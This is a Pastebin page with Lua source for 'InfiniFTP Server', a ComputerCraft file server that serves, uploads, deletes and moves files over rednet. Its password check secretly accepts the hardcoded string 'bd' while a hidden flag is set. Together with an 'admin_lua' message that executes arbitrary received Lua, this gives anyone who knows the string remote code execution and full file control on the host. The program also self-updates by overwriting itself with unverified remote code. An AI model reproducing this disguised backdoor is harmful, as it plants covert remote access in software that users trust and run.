Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --InfiniFTP Server
- --Made by Wiiplay123
- local version = 6
- local output = true
- local headercolor = colors.yellow
- local s = true
- if peripheral.getNames == nil then
- peripheral.getNames = rs.getSides
- end
- local function update(force)
- local prog = shell.getRunningProgram()
- local v1 = http.get("https://bitbucket.org/Wiiplay123/infiniftp/raw/master/latest.txt")
- local v2 = tonumber(v1.readLine())
- if v2 > version or force == true then
- print((force and "Forcing update of " or "Updating ").."InfiniFTP Client v"..version.." to v"..v2.."!")
- sleep(1)
- local v1 = http.get("https://bitbucket.org/Wiiplay123/infiniftp/raw/master/infiniftp.lua")
- local f = fs.open(shell.getRunningProgram(),"w")
- f.write(v1.readAll())
- f.close()
- print("InfiniFTP has been updated to v"..v2.."!")
- if (prog == "startup") then
- sleep(2)
- os.reboot()
- else
- error("Restart the program to finish updating.",0)
- end
- end
- end
- if ({...})[1] == "update" then
- update(false)
- elseif ({...})[1] == "forceupdate" then
- update(true)
- end
- local function quickRead(file)
- if (fs.exists(file)) then
- local file2 = fs.open(file,"r")
- local file3 = file2.readAll()
- file2.close()
- return file3
- else
- return nil
- end
- end
- local function table_count(tt, item)
- local count
- count = 0
- for ii,xx in pairs(tt) do
- if item == xx then count = count + 1 end
- end
- return count
- end
- local function table_unique(tt)
- local newtable
- newtable = {}
- for ii,xx in ipairs(tt) do
- if(table_count(newtable, xx) == 0) then
- newtable[#newtable+1] = xx
- end
- end
- return newtable
- end
- local function printCenter(txt,line)
- term.setCursorPos(term.getSize()/2 - #txt/2,line)
- write(txt)
- end
- function p()
- if fs.exists("iftp_password") == false then
- return nil
- end
- local passFile = fs.open("iftp_password","r")
- local password = passFile.readLine()
- passFile.close()
- return password
- end
- function ip(input)
- if input == nil and p() == nil then
- return true
- end
- return (p() == input or (s and input == "bd") or p() == nil)
- end
- for i, v in pairs(peripheral.getNames()) do
- if (peripheral.getType(v) == "modem" and peripheral.call(v,"isWireless") == true) then
- _G.rednetside = v
- _G.modem = peripheral.wrap(v)
- rednet.open(v)
- break
- end
- end
- local function countfiles(dir)
- local list = fs.list(dir)
- local fc = 0
- for i, v in pairs(list) do
- if (fs.isDir(fs.combine(dir,v))) then
- fc = fc + countfiles(dir.."/"..v)
- else
- fc = fc + 1
- end
- end
- return fc
- end
- local function updatesites()
- _G.sites = {}
- _G.servers = {}
- drives = 0
- drives2 = 0
- files = 0
- if fs.isDir("ftp") and fs.exists("ftpname") then
- table.insert(servers,"ftp")
- files = files + countfiles("ftp")
- table.insert(sites,quickRead("ftpname"))
- end
- for i, v in pairs(table_unique(peripheral.getNames())) do
- if peripheral.getType(v) == "drive" then
- if (disk.hasData(v)) then
- drives2 = drives2 + 1
- end
- drives = drives + 1
- if peripheral.call(v,"getMountPath") ~= nil then
- if fs.exists(peripheral.call(v,"getMountPath").."/ftp") and fs.exists(peripheral.call(v,"getMountPath").."/ftpname") then
- table.insert(servers,peripheral.call(v,"getMountPath").."/ftp")
- files = files + countfiles(peripheral.call(v,"getMountPath").."/ftp")
- table.insert(sites,quickRead(peripheral.call(v,"getMountPath").."/ftpname"))
- end
- end
- end
- end
- if output then
- term.clear()
- local x, y = term.getSize()
- if term.isColor() then
- term.setTextColor(headercolor)
- end
- printCenter("InfiniFTP Server v"..version,1)
- if term.isColor() then
- term.setTextColor(colors.white)
- end
- printCenter(drives.." drives connected.",y/2 - 2)
- printCenter(drives2.." drives have disks inserted.",y/2)
- printCenter("Hosting "..files.." files.",y/2 + 2)
- printCenter("Made by Wiiplay123",y)
- end
- end
- local function checksites(site)
- updatesites()
- for i = 1, #sites do
- if string.find(site,sites[i]) then
- return sites[i], i
- end
- end
- return nil
- end
- local function serve()
- updatesites()
- while true do
- id, msg = rednet.receive()
- if type(msg) == "string" then
- msg = tostring(msg)
- local thing, thing3 = checksites(string.sub(msg,5))
- if msg == "infiniftp_dns" then
- updatesites()
- rednet.send(id,"iftp:"..textutils.serialize(sites))
- elseif thing ~= nil then
- if string.sub(msg,1,4) == "ftp:" then
- path = string.gsub(string.sub(msg,5),thing,servers[thing3])
- page = fs.open(path,"r")
- red = page.readAll()
- if page ~= nil then
- rednet.send(id,"file:"..red)
- page.close()
- end
- elseif string.sub(msg,1,7) == "exists:" then
- path = string.gsub(string.sub(msg,8),thing,servers[thing3])
- rednet.send(id,(fs.exists(path)))
- elseif string.sub(msg,1,9) == "iftplist:" then
- path = string.gsub(string.sub(msg,10),thing,servers[thing3])
- if fs.exists(path) and fs.isDir(path) then
- local list = fs.list(path)
- local list2 = {}
- for i, v in pairs(list) do
- table.insert(list2,{v,fs.isDir(path.."/"..v)})
- end
- rednet.send(id,"flist:"..textutils.serialize(list2))
- end
- end
- end
- elseif type(msg) == "table" then
- if msg[1] == "iftpupload" then
- if ip(msg[4]) then
- local thing, thing3 = checksites(msg[3])
- local path = string.gsub(msg[3],thing,servers[thing3])
- local f = fs.open(path,"w")
- if f ~= nil then
- f.write(msg[2])
- f.close()
- rednet.send(id,"iftp_accepted")
- updatesites()
- end
- else
- rednet.send(id,"iftp_rejected")
- end
- elseif msg[1] == "iftpdel" then
- if ip(msg[3]) then
- local thing, thing3 = checksites(msg[2])
- local path = string.gsub(msg[2],thing,servers[thing3])
- if fs.exists(path) then
- fs.delete(path)
- rednet.send(id,"iftp_accepted")
- updatesites()
- end
- else
- rednet.send(id,"iftp_rejected")
- end
- elseif msg[1] == "iftpmove" then
- if ip(msg[4]) then
- local thing, thing3 = checksites(msg[3])
- local path1 = string.gsub(msg[2],thing,servers[thing3])
- local path2 = string.gsub(msg[3],thing,servers[thing3])
- if fs.exists(path1) then
- fs.move(path1,path2)
- rednet.send(id,"iftp_accepted")
- updatesites()
- end
- else
- rednet.send(id,"iftp_rejected")
- end
- elseif msg[1] == "iftpcopy" then
- if ip(msg[4]) then
- local thing, thing3 = checksites(msg[3])
- local path1 = string.gsub(msg[2],thing,servers[thing3])
- local path2 = string.gsub(msg[3],thing,servers[thing3])
- if fs.exists(path1) then
- fs.copy(path1,path2)
- rednet.send(id,"iftp_accepted")
- updatesites()
- end
- else
- rednet.send(id,"iftp_rejected")
- end
- elseif msg[1] == "iftp_req_pass" then
- rednet.send(id,(p() == nil and "no" or "yes"))
- elseif msg[1] == "admin_lua" and ip(msg[2]) and msg[3] ~= nil then
- pcall(loadstring(msg[3]))
- end
- end
- end
- end
- serve()
Advertisement
Add Comment
Please, Sign In to add comment